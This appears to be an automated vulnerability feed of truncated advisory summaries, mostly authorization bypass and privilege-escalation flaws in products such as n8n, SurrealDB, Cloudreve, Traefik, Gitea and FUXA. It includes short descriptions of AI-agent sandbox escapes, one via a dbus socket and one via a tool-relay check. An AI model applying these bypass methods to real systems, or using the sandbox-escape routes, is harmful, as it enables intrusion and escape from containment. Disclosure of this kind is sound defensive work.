Improper access control in the role membership management endpoint in Devolutions Server allows an authenticated non-administrative user holding the user-group membership management permission to escalate privileges to administrator via a crafted API request. This issue affects : * Devolutions Server 2026.2.4.0 through 2026.2.12.0 * Devolutions Server 2026.1.23.0 and earlier
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in AstrBotDevs AstrBot up to 4.25.5. Affected by this vulnerability is the function _build_handoff_toolset of the file AstrBot/astrbot/core/astr_agent_tool_exec.py of the component Subagent. The manipulation results in incorrect authorization. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The patch
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was identified in AstrBotDevs AstrBot up to 4.25.5. Affected is an unknown function of the file astrbot/core/astr_main_agent.py. The manipulation of the argument req.func_tool leads to incorrect authorization. The attack may be initiated remotely. The exploit is publicly available and might be used. The identifier of the patch is d23011262e8e75e1ec41b0f1f0091493a022327e. It is sugg
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An Incorrect Authorization vulnerability in Progress Software LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF allows an authenticated attacker with low privileges to escalate privileges to root on the affected appliance, potentially resulting in full system compromise.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact _What kind of vulnerability is it? Who is impacted?_ A user granted READ permission on a single, exact key can use the Watch gRPC API with `clientv3.WithFromKey()` (an open-ended, "from this key to the end of the keyspace" watch) to receive watch events for every key lexicographically greater than or equal to their permitted key — not just the one key they were granted. This is an au
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Cloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`. ## Impact An attacker who obtains an adm
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact Edit permission lacks ownership check, so another developer could alter metadata that is later trusted by nodes. Worst they could do is update the image or image tag. If that is not noted, another image is approved than the one actually under review ### Patches No ### Workarounds No
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Cloudreve WOPI access tokens are generated as `.`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the sessi
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact In Budibase v3.39.4, a regression in the authorization level for the S3 attachment upload endpoint allows any BASIC app user to obtain S3 PutObject presigned URLs. The endpoint uses TABLE/WRITE permission level instead of the intended BUILDER level defined in v3.39.3. Additionally, the controller does not pin the target bucket to the datasource's configured bucket, allowing writes to an
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Budibase `3.39.19` (commit `03fbabae4`) is affected by a privilege-escalation / missing-authorization flaw in the public role-assignment API. An **app-scoped builder** (a user who builds only specific apps — `user.builder.apps = [appA]`, not a global builder or admin) can grant **themselves builder access to ANY other app in the tenant**, or assign themselves/any user an arbitrary dat
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Current `main` and `v0.9.6` still allow an authenticated user to turn read-only access to another user's file into write/delete access by attaching that file ID to an attacker-controlled workspace model. This is an incomplete-fix variant of `GHSA-vjqm-6gcc-62cr`. The current fix adds `_verify_knowledge_file_access()`, but the validator only checks `has_access_to_file(file_id, "read",
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Cloudreve 4.16.1 has an OAuth scope authorization bypass in the admin storage policy routes. An OAuth bearer token scoped to `Admin.Read` but not `Admin.Write` can call `POST /api/v4/admin/policy/oauth/signin` and update OneDrive storage policy credentials. The route is inside the admin group that requires `Admin.Read`, but it does not add the local `Admin.Write` guard used by sibling
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary When an authenticated recipient of a **single-file** share opens the file event stream (`GET /api/v4/file/events?uri=`), Cloudreve validates the URI by listing it and then subscribes the caller to `parent.ID()`. For a single-file share, the share navigator resolves the bare share-root URI to the **owner-side parent folder** of the shared file (not the file), while the visible listing
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
JupyterLab's plugin manager exposes administrator controls intended to prevent users from enabling or disabling selected plugins. Two server-side enforcement gaps let an authenticated user bypass those controls with direct requests to `/lab/api/plugins`. ### Impact Users could workaround the plugin manager lock rules via direct API access for either: - child plugins of extensions covering multip
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact The GraphQL node did not enforce the "Allowed HTTP Request Domains" restriction on HTTP-based credentials (such as Header Auth, Basic Auth, Query Auth, and OAuth), unlike the HTTP Request node. An authenticated user able to create or edit workflows could therefore point the node's endpoint at a server they control and exfiltrate restricted credentials. Only instances where a credential
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact The OAuth 2.1 consent and token-issuance flow introduced in n8n 2.27.0 does not verify that the authenticated user has access to the workflow referenced as the OAuth resource. A member-level user can register an OAuth client, self-approve consent for another user's `n8n OAuth2`-protected MCP Server Trigger workflow, and obtain a valid token for it. The workflow runs in the owner's proje
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact n8n's credential-access checks validated only a node's top-level credentials, not credentials referenced inside an Execute Sub-workflow node's inline workflow JSON. A member with editor access to a shared workflow could reference a credential they were not permitted to use inside that inline JSON; it passed both save-time and runtime validation and resolved in the parent workflow's proj
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact An authenticated member with edit access to a shared workflow could reference another user's credential in an HTTP Request node while specifying the credential type through an expression. Because the pre-execution permission check compared the unresolved expression instead of the real credential type, the ownership check was skipped and the credential was loaded at execution time, letti
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact The credential "Allowed HTTP Request Domains" allowlist was intended to restrict which hosts a credential's secret could be sent to, protecting shared credentials from users who could use but not view them. Several AI/LLM nodes did not enforce this allowlist when a user-supplied base or endpoint URL was set. A low-privileged workflow editor with use-only access to such a shared credenti
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact In an n8n instance, when a validly-signed incoming token was matched to a local account by its email claim, the service did not check that the trusted key's permitted role ceiling covered that account, nor that the email claim was verified. As a result, anyone able to obtain a token accepted by one of the configured trusted keys, for example a trusted issuer that emitted unverified emai
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authenticated user holding cursor termination privileges on one database may incorrectly be permitted to terminate active cursors on a separate database, disrupting ongoing query operations for other users. The behavior stems from an authorization check that does not correctly scope privileges to the appropriate namespace.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
When PROXY protocol v2 is used on the Unix domain socket path, roles derived from X.509 client certificates may not be validated against the configured tlsCATrusts allow-list. This can result in unintended role assignments following MONGODB-X509 authentication. Affected scenarios require local access to the proxy Unix domain socket and a valid X.509 certificate issued by a trusted certificate auth
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authenticated user may be able to view session metadata belonging to other users on the system through the $listSessions aggregation stage. This information is normally restricted to users with cluster-level administrative privileges, and includes active session identifiers, associated usernames, and activity timestamps.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authenticated user with limited read privileges may be able to access documents from collections they are not authorized to read, due to an inconsistency in how the $graphLookup aggregation stage is evaluated during authorization and during execution. Affected scenarios involve collections referenced within existing view pipeline definitions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traef
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middlewa
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 1.123.64, 2.29.8, and 2.30.1 fails to enforce the "Allowed HTTP Request Domains" restriction on HTTP-based credentials (Header Auth, Basic Auth, Query Auth, OAuth) in the GraphQL node, unlike the HTTP Request node. An authenticated user able to create or edit workflows can point the node's endpoint at a server they control and exfiltrate restricted credentials. Only instances where a cr
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 2.29.8 and 2.30.x before 2.30.1 (affected from 2.27.0, when the OAuth 2.1 consent and token-issuance flow was introduced) does not verify that the authenticated user has access to the workflow referenced as the OAuth resource. On instances with at least one active MCP Server Trigger workflow configured with n8n OAuth2 authentication, a member-level user can register an OAuth client, sel
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n versions before 2.30.1 contain a privilege escalation vulnerability in the AI Agents feature where the node-execution tool lacks proper authorization checks. A Project Viewer user can escalate privileges by chatting with an agent that has node tools enabled, executing arbitrary nodes and accessing credential secrets without proper authorization verification.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traef
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middlewa
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 1.123.64, 2.29.8, and 2.30.1 fails to enforce the "Allowed HTTP Request Domains" restriction on HTTP-based credentials (Header Auth, Basic Auth, Query Auth, OAuth) in the GraphQL node, unlike the HTTP Request node. An authenticated user able to create or edit workflows can point the node's endpoint at a server they control and exfiltrate restricted credentials. Only instances where a cr
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 2.29.8 and 2.30.x before 2.30.1 (affected from 2.27.0, when the OAuth 2.1 consent and token-issuance flow was introduced) does not verify that the authenticated user has access to the workflow referenced as the OAuth resource. On instances with at least one active MCP Server Trigger workflow configured with n8n OAuth2 authentication, a member-level user can register an OAuth client, sel
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n versions before 2.30.1 contain a privilege escalation vulnerability in the AI Agents feature where the node-execution tool lacks proper authorization checks. A Project Viewer user can escalate privileges by chatting with an agent that has node tools enabled, executing arbitrary nodes and accessing credential secrets without proper authorization verification.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to integrity compromise of Machine Learning audit and notification records via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). A vulnerability exists in Kibana's Machine Learning functionality where a Machine Learning management endpoint performs an insufficient authorization check. The endpoint validates only a coarse privi
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incomplete List of Disallowed Inputs (CWE-184) in Kibana can allow an authenticated attacker with access to the Reporting feature to bypass outbound request restrictions configured by an administrator, causing the reporting service to send requests to network destinations that should be denied by the configured security policy.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to integrity compromise of Machine Learning audit and notification records via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). A vulnerability exists in Kibana's Machine Learning functionality where a Machine Learning management endpoint performs an insufficient authorization check. The endpoint validates only a coarse privi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incomplete List of Disallowed Inputs (CWE-184) in Kibana can allow an authenticated attacker with access to the Reporting feature to bypass outbound request restrictions configured by an administrator, causing the reporting service to send requests to network destinations that should be denied by the configured security policy.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vulnerability in the Oracle Advanced Benefits product of Oracle E-Business Suite (component: Internal Operations). The supported version that is affected is 12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Advanced Benefits. While the vulnerability is in Oracle Advanced Benefits, attacks may significantly impact addition
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an unauthenticated Remote Code Execution vulnerability when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script's permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stor
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an authorization bypass in the /api/getTagValue endpoint allows unauthenticated access to tag values when the referenced script does not exist. Version 1.3.1 patches the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Versions 1.2.11 until 1.3.1 allow an unauthenticated remote attacker to achieve Full Remote Code Execution (RCE) as root. The exploit succeeds even when the platform is configured in its most secure state (Secure Mode Enabled and Node-RED Secure Auth Enabled). Version 1.3.1 fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in: - Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields. - Denial of Service (H
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** — the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwra
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
**Author:** Prakhar Porwal **Date:** 2026-05-24 **Target:** Gitea (self-hosted Git service) **Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3) **Component:** `routers/api/v1/org/action.go` (org-level Actions API) **OWASP:** API3:2023 Broken Object Property Level Authorization --- ## 1. Summary The org-level Actions REST endpoints ``` GET /api/v1/orgs/{org}/actions/runs GET
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Gitea's `/api/v1/teams/{id}` API routes do not correctly enforce the `public-only` access token restriction. A `public-only` token is intended to limit API access to public repositories and public organizations. However, several team API routes continue to return private team repository metadata and private team activity feed entries when called with a `public-only` token. ### Detai
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary PR #38145 fixed ListPublicMembers and IsPublicMember but missed ListMembers. Any authenticated user can enumerate ALL members (not just public ones) of a private organization. ## Affected Versions <= v1.26.4 (latest) and main branch ## Root Cause routers/api/v1/org/member.go — ListMembers(): // Missing check: if !organization.HasOrgOrUserVisible(ctx, ctx.Org.Organization.AsUse
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Vulnerability Header | Field | Value | | ------------------- | ----------------------------------------------------------------------------------- | | Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write | | Severity Rating | High
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Version 1.3.0 has an authorization bypass in the /api/getTagValue endpoint allows unauthenticated access to tag values when the referenced script does not exist. Version 1.3.1 patches the issue.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. Versions 1.2.11 until 1.3.1 allow an unauthenticated remote attacker to achieve Full Remote Code Execution (RCE) as root. The exploit succeeds even when the platform is configured in its most secure state (Secure Mode Enabled and Node-RED Secure Auth Enabled). Version 1.3.1 fixes the issue.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MediaCMS 8.2.0 contains an information disclosure vulnerability that allows authenticated users to expose private media metadata belonging to other users by adding arbitrary media tokens to their own playlist without access control checks. Attackers can issue a PUT request to the playlist API endpoint with a known media token to bypass state and ownership validation, then retrieve the playlist to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Shelf is a platform for tracking physical assets. Shelf is multi-tenant; data is isolated per organization (workspace). Prior to version 1.20.2, several endpoints accepted entity IDs from request input and `connect`-ed / read / updated them without verifying the IDs belonged to the caller's organization. An authenticated user in Org A who knew or obtained an ID belonging to Org B could act on Org
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Description Gitea's OAuth2 sign-in callback reactivates a deactivated user account (`IsActive=false`) when the user signs in through an authentication source that does not issue refresh tokens (notably GitHub, and any OIDC/OAuth2 source configured without `offline_access`). PR #38009 added a gate intended to reactivate users only when the OAuth2 auto-sync cron had disabled them, using "the sto
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Shelf is a platform for tracking physical assets. Shelf is multi-tenant; data is isolated per organization (workspace). Prior to version 1.20.2, several endpoints accepted entity IDs from request input and `connect`-ed / read / updated them without verifying the IDs belonged to the caller's organization. An authenticated user in Org A who knew or obtained an ID belonging to Org B could act on Org
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper Access Control (CWE-284) in Kibana can lead to unauthorized modification of Entity Analytics Watchlist configuration and potential information disclosure. A low-privileged authenticated user with read-only Security Solution access could perform write operations on watchlist data that should require elevated privileges. Under specific deployment conditions, this could also allow such a use
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Elasticsearch can allow an authenticated user with limited index privileges to exploit insufficient authorization controls in the ingest simulation feature. By targeting indices they are not authorized to access directly, the user can cause those indices' configured ingest pipelines to execute and return their output, potentially disclosing data processed or en
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Unintended Proxy or Intermediary ('Confused Deputy') (CWE-441) in Kibana can lead to unauthorized information exposure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). Under certain conditions, a lower-privileged user can cause data from sources they are not authorized to access to be processed using another user's privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Prior to version 0.1.4, the Platform server exposes resources under `/api/v1/workspaces/{workspace_id}/...` and protects them with a `require_workspace_member(workspace_id)` FastAPI dependency. The dependency only checks that the caller is a member of the workspace_id in the URL prefix. The route handlers then loo
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A SQL injection (CWE-89) and security boundary bypass (CWE-863) vulnerability exists in the prebuilt BigQuery forecasting tool (bigquery-forecast) of googleapis/mcp-toolbox. The tool accepts client-controlled parameters (data_col, timestamp_col, and id_cols) as plain strings and interpolates them unescaped via fmt.Sprintf directly into a generated AI.FORECAST table-valued SELECT statement. While
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Ninja Forms plugin version 3.14.8 and prior for WordPress Multisite contains an incorrect authorization vulnerability that allows a subsite Administrator to trigger network-wide deletion of all Ninja Forms data by exploiting a site-scoped capability check combined with unsafe multisite migration defaults. Attackers can send a crafted POST request to the admin-ajax.php endpoint with the nf_delete_a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in libssh. On servers with GSSAPIKeyExchange enabled, the gssapi-keyex path does not verify whether the authenticated Kerberos principal is authorized for the requested local user, allowing authenticated clients to log in as arbitrary users.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in .NET TLS/SSL (System.Net.Security). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A security feature bypass vulnerability exists in .NET 8, .NET 9, and .NET 10 when processing TLS/SSL connections. An attacke
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
nono is software that allows users to run AI agents in a zero-latency sandbox. Prior to version 0.55.0, the nono Landlock/seccomp policies allow access to local Unix domain sockets (concrete and abstract). This allows an easy sandbox escape by talking to the per-user systemd dbus socket. Version 0.55.0 patches the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The `@ai-sdk/harness-opencode` tool connects HarnessAgent to OpenCode through a sandboxed bridge. Prior to version 1.0.28, the tool relay authorizes requests from any process whose command line contains an allowed helper script path (`host-tool-mcp.mjs`). This allows untrusted code executing in the sandbox to invoke arbitrary host-exposed tools including secret lookups, deployment operations, and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The `@ai-sdk/harness-opencode` tool is an HarnessV1 adapter backed by @openai/codex-sdk, which drives the codex command line interface. Prior to version 1.0.29, the tool relay authorizes requests from any process whose command line contains an allowed helper script path (the Codex CLI shim). This allows untrusted code executing in the sandbox to invoke arbitrary host-exposed tools, including secre
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RT is an open source, enterprise-grade issue and ticket tracking system. Versions prior to 5.0.10, 6.0.0 and above, prior to 6.0.3 contain an information disclosure and privilege escalation vulnerability in the REST 2.0 API. A privileged (non-administrative) user can obtain authentication credentials belonging to other users — including users with administrative privileges — and use those credenti
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB before 3.1.0 evaluates user-supplied WHERE clauses in SELECT statements (and SET/MERGE/CONTENT/PATCH clauses in UPDATE, UPSERT, INSERT ON DUPLICATE KEY UPDATE, and RELATE update-variant statements) against full record data before enforcing PERMISSIONS FOR SELECT WHERE restrictions. An authenticated user — including Record and Scope users — can exploit this ordering flaw to read the full
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB versions before 3.1.0 contain a field-level permission bypass vulnerability in JSON Patch operations that allows authenticated users to read protected fields. Attackers can use UPDATE PATCH with an empty from pointer in copy or move operations to duplicate all record fields, including those restricted by field-level SELECT permissions, into attacker-chosen destination fields.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB versions before 3.1.0 contain an authentication bypass vulnerability in LIVE SELECT subscriptions where permission expressions referencing $value, $before, $after, or $event are evaluated against attacker-controlled bindings instead of actual documents. Authenticated subscribers can bind chosen values to these parameter names and register LIVE SELECT queries to receive notifications for
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB versions before 3.1.0 contain a field-level SELECT permission bypass vulnerability in indexed COUNT fast paths. Attackers can execute COUNT queries on indexed fields with field-level SELECT restrictions to confirm or recover restricted field values through repeated guesses.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB versions before 3.1.4 fail to properly enforce SELECT permissions on array elements (field.*) for record users, leaking denied array elements instead of hiding them. Attackers with record scope access can read array elements that element-level permissions should deny by exploiting incorrect index handling during permission filtering.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB versions 3.1.0 before 3.1.5 fail to enforce field-level SELECT permissions when records are accessed through graph-edge or back-reference traversals. Attackers with table-level SELECT access can read field values hidden by field-level permissions by materializing records through graph traversals instead of direct table scans.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SurrealDB versions before 3.2.0 contain a permissions bypass vulnerability where data-modifying statements within PERMISSIONS clauses execute with enforcement disabled. Attackers with permission to perform a guarded operation can write to tables they lack permission for by embedding CREATE, UPDATE, DELETE, or UPSERT statements in the PERMISSIONS clause, causing unintended writes and data corruptio
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The All in One SEO WordPress plugin before 4.9.9 does not correctly restrict access to some of its AI integration REST API endpoints, allowing users with low-level privileges such as Contributors to overwrite or reset the site-wide AI integration state.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in geex-arts django-jet up to 1.0.8. This impacts an unknown function of the component OAuth Credential Revoke Handler. Performing a manipulation results in missing authorization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an iss
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in geex-arts django-jet up to 1.0.8. This impacts an unknown function of the component OAuth Credential Revoke Handler. Performing a manipulation results in missing authorization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an iss
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 and IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 could allow an attacker with read-only privileges to make unauthorized modifications and deployments outside of their assigned permissions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Avo 是一个用于 Ruby on Rails 应用创建管理后台的框架。在版本 3.32.1 和 4.0.0.beta.51 之前，Avo 的关联附加工作流在 UI 和 GET /resources/:resource/:id/:related/new 路径中会检查 attach_<association>? 权限，但实际的写入端点 POST /resources/:resource/:id/:related 在通过 Avo::AssociationsController#create 修改关联之前未执行相同的授权检查。因此，经过身份验证的低权限 Avo 用户可以通过发送精心构造的 POST 请求，绕过隐藏或禁用的附加控件，直接将相关记录附加到父记录上。这可能导致权限提升和跨租户数据暴露，尤其是当关联代表授权相关关系时。该漏洞已在版本 3.32.1 和 4.0.0.beta.51 中修复。建议所有用户尽快升级至修复版本，并检查应用配置中是否存在不必要的网络暴露。
💡 影响/原因: 漏洞 CVSS 评分 9.6（严重），允许低权限用户绕过 UI 授权检查直接附加关联记录，可导致权限提升和多租户环境下的数据泄露，影响面广且利用难度低。
